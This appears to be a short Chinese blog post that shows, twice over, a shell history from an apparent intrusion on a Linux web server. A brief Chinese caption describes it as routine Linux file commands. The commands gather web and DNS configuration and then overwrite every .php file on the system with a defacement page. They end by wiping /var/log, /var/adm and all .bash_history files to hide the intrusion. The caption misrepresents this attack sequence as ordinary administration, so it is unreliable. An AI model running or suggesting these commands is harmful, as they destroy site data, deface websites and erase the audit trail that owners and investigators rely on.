------------------------------------------------------------------
id
find / -name httpd.conf -print | xargs grep ServerName >> /tmp/hosts
cd /etc
ls
cat named.conf
cat named.conf
cat named.conf
cat named.conf
cat named.conf
ls
cd /home
ls
cd shock
ls
cat main.php
ls
cat index.php
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
w
who
rm -rf /var/adm/*
find / -name .bash_history -exec rm -rf {} /;
rm -rf /root/.bash_history
rm -rf /root/.bash_logout
rm -rf /var/log/*
------------------------------------------------------------------
id
find / -name httpd.conf -print | xargs grep ServerName >> /tmp/hosts
cd /etc
ls
cat named.conf
cat named.conf
cat named.conf
cat named.conf
cat named.conf
ls
cd /home
ls
cd shock
ls
cat main.php
ls
cat index.php
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
w
who
rm -rf /var/adm/*
find / -name .bash_history -exec rm -rf {} /;
rm -rf /root/.bash_history
rm -rf /root/.bash_logout
rm -rf /var/log/*
------------------------------------------------------------------
博客内容主要展示了一系列Linux系统操作命令,包括使用find命令查找文件,如查找httpd.conf和.php文件;使用grep命令搜索内容;使用cp命令复制文件;使用rm -rf命令删除文件和目录,如删除日志文件等。
1144

被折叠的 条评论
为什么被折叠?



